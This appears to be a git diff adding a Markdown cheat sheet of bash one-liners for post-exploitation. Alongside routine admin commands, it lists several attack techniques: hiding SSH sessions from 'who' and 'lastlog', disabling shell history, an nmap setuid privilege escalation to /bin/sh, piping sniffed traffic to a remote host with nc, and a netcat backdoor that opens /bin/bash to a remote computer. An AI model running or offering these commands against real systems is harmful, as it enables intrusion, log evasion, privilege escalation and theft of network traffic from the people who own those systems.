|
| 1 | +# Bash Commands for Post Exploitation |
| 2 | + |
| 3 | +One liners |
| 4 | +----------- |
| 5 | + |
| 6 | +**Resolve a list of hostnames to IP addresses** |
| 7 | +```bash |
| 8 | +awk < hostnames.txt '{ system("resolveip -s " $1) }' |
| 9 | +``` |
| 10 | + |
| 11 | +**IIS 6.0 IP Disclosure** |
| 12 | +```bash |
| 13 | +curl -l -O -H "Host:" "example.com" |
| 14 | +``` |
| 15 | + |
| 16 | +**Connect to SSL websites** |
| 17 | +```bash |
| 18 | +openssl s_client -connect example.com:443 |
| 19 | +``` |
| 20 | + |
| 21 | +**Convert base64 to text** |
| 22 | +```bash |
| 23 | +echo 'base64string' | base64 -d (Use -D on OSX) |
| 24 | +``` |
| 25 | + |
| 26 | +**Decode ASCII shellcode** |
| 27 | +```bash |
| 28 | +echo -e *shellcode hex string* (may need to use -i to ignore bad chars) |
| 29 | +``` |
| 30 | + |
| 31 | +**Enumerate DNS of Class C** |
| 32 | +```bash |
| 33 | +for ip in $(seq 1 254); do; host 10.1.1.$ip | grep "name pointer"; done |
| 34 | +``` |
| 35 | + |
| 36 | +**SSH to box and hide from "who" and "lastlog"** |
| 37 | +```bash |
| 38 | +ssh [email protected] -T /bin/bash |
| 39 | +``` |
| 40 | + |
| 41 | +**Prevent terminal logging** |
| 42 | +```bash |
| 43 | +unset HISTFILE |
| 44 | +``` |
| 45 | + |
| 46 | +**Add immutable attribute to a unix file** |
| 47 | +```bash |
| 48 | +chattr +i *file* |
| 49 | +``` |
| 50 | + |
| 51 | +**SSH into host2 through host1** |
| 52 | +```bash |
| 53 | +ssh -o "proxycommand ssh -W host2 host1" host2 |
| 54 | +``` |
| 55 | + |
| 56 | +**Nmap setuid privesc** |
| 57 | +```bash |
| 58 | +nmap --script <(echo 'os.execute("/bin/sh")') |
| 59 | +nmap --interactive (for older versions) |
| 60 | +``` |
| 61 | + |
| 62 | +**Transfer files through SSH** |
| 63 | +```bash |
| 64 | +ssh [email protected] "cat test.tar.gz" > test.tar.gz |
| 65 | +``` |
| 66 | + |
| 67 | +**Internal port redirect for bypassing services** |
| 68 | +```bash |
| 69 | +iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 4444 |
| 70 | +``` |
| 71 | + |
| 72 | +**Enable forwarding on the fly** |
| 73 | +```bash |
| 74 | +sysctl -w net.ipv4.ip_forward=1 |
| 75 | +``` |
| 76 | + |
| 77 | +**Kill with USR1 developer defined signal** |
| 78 | +```bash |
| 79 | +kill -USR1 <pid> |
| 80 | +``` |
| 81 | + |
| 82 | +**Pull IP addresses from a file** |
| 83 | +```bash |
| 84 | +grep -E -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' |
| 85 | +``` |
| 86 | + |
| 87 | +**Sniff traffic with tcpdump and send to remote tcp socket** |
| 88 | +```bash |
| 89 | +tcpdump -w - | nc -v 8.8.8.8 9999 |
| 90 | +``` |
| 91 | + |
| 92 | +**Recursively search for text contained in files within a directory** |
| 93 | +```bash |
| 94 | +zcat -rf ./* | grep "searchstring" |
| 95 | +``` |
| 96 | + |
| 97 | +**Recursively search for files with the specified word within them** |
| 98 | +*Submitted by cat on Google Fourms* |
| 99 | +```bash |
| 100 | +ls -a | find | grep -i "string" |
| 101 | +``` |
| 102 | + |
| 103 | +**Netcat backdoor** |
| 104 | +```bash |
| 105 | +nc -e /bin/bash *remotecomputer* *port* |
| 106 | +OR |
| 107 | +nc -e /bin/bash -lp *port* |
| 108 | +``` |
| 109 | + |
| 110 | +Credits |
| 111 | +----------- |
| 112 | +Credits to @TheAndrewBalls for posting some awsome one liners (the hidden SSH example and the DNS enumeration are both his contributions) |
| 113 | + |
0 commit comments